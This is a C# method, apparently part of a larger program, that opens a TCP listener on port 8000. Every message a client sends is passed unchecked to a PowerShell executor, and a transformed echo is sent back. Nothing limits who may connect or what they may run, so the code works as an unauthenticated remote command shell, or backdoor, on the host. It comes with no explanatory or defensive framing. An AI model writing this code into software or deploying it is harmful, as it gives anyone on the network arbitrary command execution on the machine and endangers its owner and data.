private bool ExecutaCmd() { if (string.IsNullOrEmpty(localIP)) { return(false); } TcpListener server = null; try { Int32 port = 8000; IPAddress localAddr = IPAddress.Parse(localIP); server = new TcpListener(localAddr, port); server.Start(); Byte[] bytes = new Byte[256]; String data = null; while (true) { Console.Write("Waiting for a connection... "); TcpClient client = server.AcceptTcpClient(); Console.WriteLine("Connected!"); data = null; NetworkStream stream = client.GetStream(); int i; while ((i = stream.Read(bytes, 0, bytes.Length)) != 0) { data = Encoding.ASCII.GetString(bytes, 0, i); Console.WriteLine("Received: {0}", data); PowerShellManager.PowerShellExecuter(data); data = data.ToUpper(); byte[] msg = Encoding.ASCII.GetBytes(data); stream.Write(msg, 0, msg.Length); Console.WriteLine("Sent: {0}", data); } client.Close(); } } catch (SocketException e) { Console.WriteLine("SocketException: {0}", e); } finally { // Stop listening for new clients. server.Stop(); } return(true); }